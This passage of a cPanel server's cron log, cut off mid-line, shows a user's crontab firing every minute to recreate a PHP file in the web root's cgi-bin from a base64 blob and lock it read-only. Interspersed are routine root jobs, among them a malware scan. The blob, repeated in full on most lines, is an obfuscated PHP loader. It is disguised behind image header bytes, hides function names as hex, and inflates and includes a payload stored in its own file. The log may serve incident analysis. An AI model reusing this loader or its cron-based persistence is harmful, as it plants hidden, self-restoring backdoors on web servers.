"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:54:01 server CROND[3242]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:55:01 server CROND[3419]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:55:01 server CROND[3420]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 17:55:01 server CROND[3421]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 17:56:01 server CROND[3544]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:57:01 server CROND[3621]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:57:01 server CROND[3622]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 17:58:01 server CROND[3691]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 17:59:01 server CROND[3755]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:00:01 server CROND[3924]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 18:00:02 server CROND[3926]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  9 18:00:02 server CROND[3927]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 18:00:02 server CROND[3928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:00:02 server CROND[3929]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 18:01:01 server CROND[4076]: (root) CMD (run-parts /etc/cron.hourly)
Apr  9 18:01:01 server CROND[4077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:01:01 server run-parts(/etc/cron.hourly)[4076]: starting 0anacron
Apr  9 18:01:01 server run-parts(/etc/cron.hourly)[4089]: finished 0anacron
Apr  9 18:02:01 server CROND[4164]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:03:01 server CROND[4231]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:04:01 server CROND[4304]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:05:01 server CROND[4391]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 18:05:01 server CROND[4393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:05:01 server CROND[4394]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 18:05:01 server CROND[4392]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 18:06:01 server CROND[4519]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmK